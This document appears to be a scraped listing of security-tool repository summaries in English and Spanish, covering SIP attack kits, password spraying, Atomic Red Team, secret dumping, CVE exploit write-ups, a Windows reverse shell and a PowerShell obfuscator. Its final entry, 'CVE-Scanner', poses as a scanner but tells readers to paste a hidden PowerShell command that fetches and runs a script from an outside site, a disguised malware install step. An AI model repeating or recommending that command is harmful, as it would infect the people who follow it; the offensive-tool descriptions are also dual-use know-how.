isip

isip Interactive sip toolkit for packet manipulations, sniffing, man in the middle attacks, fuzzing, simulating of dos attacks. Video https://asciinema.org/a/11128 Setup git clone https://github.com/halitalptekin/isip.git cd isip pip install -r requirements.txt Usage Packet manipulation tools are...

trident

trident The Trident project is an automated password spraying tool developed to meet the following requirements: the ability to be deployed on several cloud platforms/execution providers the ability to schedule spraying campaigns in accordance with a target’s account lockout policy the ability to...

atomic-operator

license atomic-operator This python package is used to execute Atomic Red Team tests Atomics across multiple operating system environments. What's new? Why? atomic-operator enables security professionals to test their detection and defensive capabilities against prescribed techniques defined with...

flare-qdb

FireEye Labs Query-Oriented Debugger flare-qdb is a command-line and scriptable Python-based tool for evaluating and manipulating native program state. It uses Vivisect to set a breakpoint on each queried instruction and executes Python code when hit. flare-qdb frees the analyst to take a nonline...

dumpscan

Public development on this tool has been paused but is still being worked on privately. Expect a massive update Q3/Q4 2024. Dumpscan is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by volatility3. Features x509...

nodesub

NODESUB Nodesub is a command-line tool for finding subdomains in bug bounty programs. It supports various subdomain enumeration techniques and provides flexible options for customization. Features Perform subdomain enumeration using CIDR notation Support input list. Perform subdomain enumeration...

CVE-2021-20038-SonicWall-RCE

SonicWallSSL-VPNRCE CVE-2021-20038 Argumentos de línea de comandos -h Ver ayuda -u Especificar url -f Especificar el archivo file El formato dentro del archivo file debe incluir el encabezado http/https...

asadbg

asadbg Nota preliminar: recomendamos utilizarlo como parte de asatools, aunque también puede usarse de forma independiente. asadbg es un framework de herramientas para ayudar a automatizar la depuración en vivo de dispositivos Cisco ASA, así como automatizar la interacción con la CLI de Cisco...

GTFOBLookup

GTFOBLookup Utilidad de consulta de línea de comandos sin conexión para GTFOBins, LOLBAS, WADComs y HijackLibs. Archivos .gitignore : Archivo Gitignore gtfoblookup.1 : Página de manual de Linux para GTFOBLookup gtfoblookup.py : Utilidad GTFOBLookup LICENSE.md : Archivo de licencia README.md : Est...

idahunt

Descripción general Requisitos Características Scripting Uso Simular sin ejecutar Análisis inicial Ejecutar script de IDA Python Diffing de binarios Requisitos Análisis inicial Diffing de archivos Diffing de una función Filtros Detección de arquitectura Específico del objetivo Proyectos conocidos...

pip3line

pip3line Utilidad de manipulación de bytes sin procesar, capaz de aplicar transformaciones conocidas y menos conocidas. El desarrollo y la página principal se han trasladado a : https://github.com/metrodango/pip3line...

ginger

Ginger Ginger es una herramienta de evaluación de seguridad de código abierto que ayuda a evaluar la seguridad de una instancia de Pentaho BA determinada. Ten en cuenta que este proyecto aún está en desarrollo y es posible que no todas las funciones estén presentes o funcionen como se espera. Uso...

ditto

ditto Ofuscador de Powershell Ditto es un ofuscador de Powershell y JavaScript basado en tree-sitter-powershell y tree-sitter-javascript. Uso desde la Línea de Comandos Estructura Básica del Comando ditto-cli opciones Argumentos y Opciones de la CLI Opción Corta| Opción Larga| Descripción...

tlsenum

tlsenum tlsenum es una herramienta de enumeración TLS de línea de comandos que intenta enumerar qué conjuntos de cifrado TLS soporta un servidor y listarlos en orden de prioridad. Funciona enviando mensajes TLS ClientHello y analizando las respuestas ServerHello del servidor. tlsenum asume que el...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — Análisis de Código Cockpit: Ejecución Remota de Código No Autenticada mediante Inyección de Argumentos de Línea de Comandos SSH Campo| Detalle ---|--- ID CVE| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 Severidad| Crítica CVSS 9.8 Versiones afectadas| Cockpit 327 – 359 Corregido en|...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

CVE-2026-32722

CVE-2026-32722 XSS almacenado en Bloomberg Memray mediante metadatos de línea de comandos sin escapar Introducción Encontré este problema al revisar Memray , el perfilador de memoria de Python de Bloomberg, con una pregunta simple en mente: ¿Pueden los metadatos de tiempo de ejecución controlados...

apache-camel-docling-security-assessment

CVE-2026-40047 - Inyección de Argumentos en CLI de Apache Camel Docling Informe de Ciberseguridad de Estilo Consultor Informe profesional de evaluación de vulnerabilidades sobre el riesgo de validación de argumentos en Apache Camel Docling, que incluye impacto técnico, remediación y estrategia de...

CVE-2023-21823

CVE-2023-21823 Reverse Shell para Windows Este repositorio contiene código C que implementa una reverse shell para el sistema operativo Windows. Una reverse shell permite el control remoto del sistema mediante la línea de comandos, proporcionando la capacidad de ejecutar comandos en la máquina...

CVE-Scanner

CVE-Scanner Escáner y explotador de CVE-2021-42287/CVE-2021-42278/OTRO. Instalación 1. Presiona WIN + R 2. Copia y pega el siguiente código y presiona Enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Reinicia tu PC Us...